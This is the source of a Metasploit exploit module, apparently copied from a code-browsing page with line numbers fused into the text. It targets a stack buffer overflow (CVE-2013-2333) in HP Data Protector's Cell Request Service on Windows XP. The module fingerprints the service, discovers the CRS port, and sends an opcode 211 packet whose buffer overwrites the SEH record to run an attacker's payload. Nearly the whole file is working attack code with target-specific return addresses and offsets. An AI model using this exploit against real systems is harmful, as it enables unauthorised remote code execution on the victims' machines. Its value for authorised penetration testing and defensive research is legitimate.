Path: blob/master/modules/exploits/windows/misc/hp_dataprotector_crs.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HP Data Protector Cell Request Service Buffer Overflow',16'Description' => %q{17This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector18product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell19Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested20successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.21},22'Author' => [23'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery24'juan vazquez' # Metasploit module25],26'References' => [27[ 'CVE', '2013-2333' ],28[ 'OSVDB', '93867' ],29[ 'BID', '60309' ],30[ 'ZDI', '13-130' ]31],32'Privileged' => true,33'Payload' => {34'Space' => 4096,35'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed36},37'Platform' => 'win',38'Targets' => [39[ 'Automatic', {} ],40[41'HP Data Protector 6.20 build 370 / Windows XP SP3',42{43'Ret' => 0x00436fe2, # ppr from crs.exe44'Offset' => 1557845}46],47[48'HP Data Protector 7.00 build 72 / Windows XP SP3',49{50'Ret' => 0x004cf8c1, # ppr from crs.exe51'Offset' => 1557852}53]54],55'DefaultTarget' => 0,56'DisclosureDate' => '2013-06-03',57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)6465deregister_options('RPORT') # The CRS service runs on a random port66end6768def build_pkt(fields)69data = "\xff\xfe" # BOM Unicode70fields.each do |k, v|71if k == "Payload"72data << "#{v}\x00\x00"73else74data << "#{Rex::Text.to_unicode(v)}\x00\x00"75end76data << Rex::Text.to_unicode(" ") # Separator77end7879data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator80data << "\x00\x00" # Ending81return [data.length].pack("N") + data82end8384def get_fingerprint85ommni = connect(false, { 'RPORT' => 5555 })86ommni.put(rand_text_alpha_upper(64))87resp = ommni.get_once(-1)88disconnect8990if resp.nil?91return nil92end9394return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl95end9697def get_crs_port98pkt = build_pkt({99"Opcode" => "2",100"FakeMachineName" => rand_text_alpha(8),101"Unknown1" => "0",102"FakeDomainUser" => rand_text_alpha(8),103"FakeDomain" => rand_text_alpha(8),104"FakeLanguage" => rand_text_alpha(8),105"Unknown2" => "15"106})107ommni = connect(false, { 'RPORT' => 5555 })108ommni.put(pkt)109resp = ommni.get_once(-1)110disconnect111112if resp.nil?113return nil114end115116res_length, bom_unicode, res_data = resp.unpack("Nna*")117118fields = res_data.split(Rex::Text.to_unicode(" "))119120opcode = fields[0]121port = fields[1]122123if not opcode or not port124vprint_error("Unexpected response")125return nil126end127128opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00"))129130if opcode != "109"131vprint_error("Unexpected opcode #{opcode} in the response")132return nil133end134135port = Rex::Text.to_ascii(port.chomp("\x00\x00"))136return port.to_i137end138139def check140fingerprint = get_fingerprint141142if fingerprint.nil?143vprint_error("Unable to fingerprint")144return Exploit::CheckCode::Unknown145end146147port = get_crs_port148149if port.nil?150vprint_status("HP Data Protector version #{fingerprint}")151vprint_error("But CRS port not found")152else153vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")154end155156if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/157# More likely to be exploitable158return Exploit::CheckCode::Appears159elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/160# More likely to be exploitable161return Exploit::CheckCode::Appears162elsif fingerprint =~ /HP Data Protector A\.07\.00/163return Exploit::CheckCode::Appears164elsif fingerprint =~ /HP Data Protector A\.07\.01/165return Exploit::CheckCode::Appears166elsif fingerprint =~ /HP Data Protector A\.06\.20/167return Exploit::CheckCode::Appears168elsif fingerprint =~ /HP Data Protector A\.06\.21/169return Exploit::CheckCode::Appears170end171172return Exploit::CheckCode::Safe173end174175def get_target176fingerprint = get_fingerprint177178if fingerprint.nil?179return nil180end181182if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/183return targets[1]184elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/185return targets[2]186else187return nil188end189end190191def exploit192if target.name =~ /Automatic/193print_status("Trying to find the target version...")194my_target = get_target195else196my_target = target197end198199if my_target.nil?200fail_with(Failure::NoTarget, "Failed to autodetect target")201end202203print_status("Trying to find the CRS service port...")204port = get_crs_port205if port.nil?206fail_with(Failure::NotFound, "The CRS service has not been found.")207else208print_good("CRS service found on #{port}/TCP")209connect(true, { 'RPORT' => port })210end211212pkt = build_pkt({213"Opcode" => "0",214"EndPoint" => "GUICORE",215"ClientFingerprint" => "HP OpenView OmniBack II A.06.20",216"FakeUsername" => rand_text_alpha(8),217"FakeDomain" => rand_text_alpha(8),218"Unknown1" => "488",219"Unknown2" => rand_text_alpha(8)220})221print_status("Sending packet with opcode 0...")222sock.put(pkt)223data = sock.get_once(-1)224225if data.nil?226fail_with(Failure::Unknown, "Error while communicating with the CRS Service")227end228229if Rex::Text.to_ascii(data) !~ /NT-5\.1/230fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets")231end232233pkt = build_pkt({234"Opcode" => "225"235})236print_status("Sending packet with opcode 225...")237sock.put(pkt)238data = sock.get_once(-1)239240if data.nil?241fail_with(Failure::Unknown, "Error while communicating with the CRS Service")242end243244bof = payload.encoded245bof << rand_text(my_target["Offset"] - payload.encoded.length)246bof << generate_seh_record(my_target.ret)247bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset'] + 8}").encode_string248bof << rand_text(100) # Trigger Exception249250pkt = build_pkt({251"Opcode" => "211",252"Payload" => bof253})254print_status("Sending malicious packet with opcode 211...")255sock.put(pkt)256disconnect257end258end259260261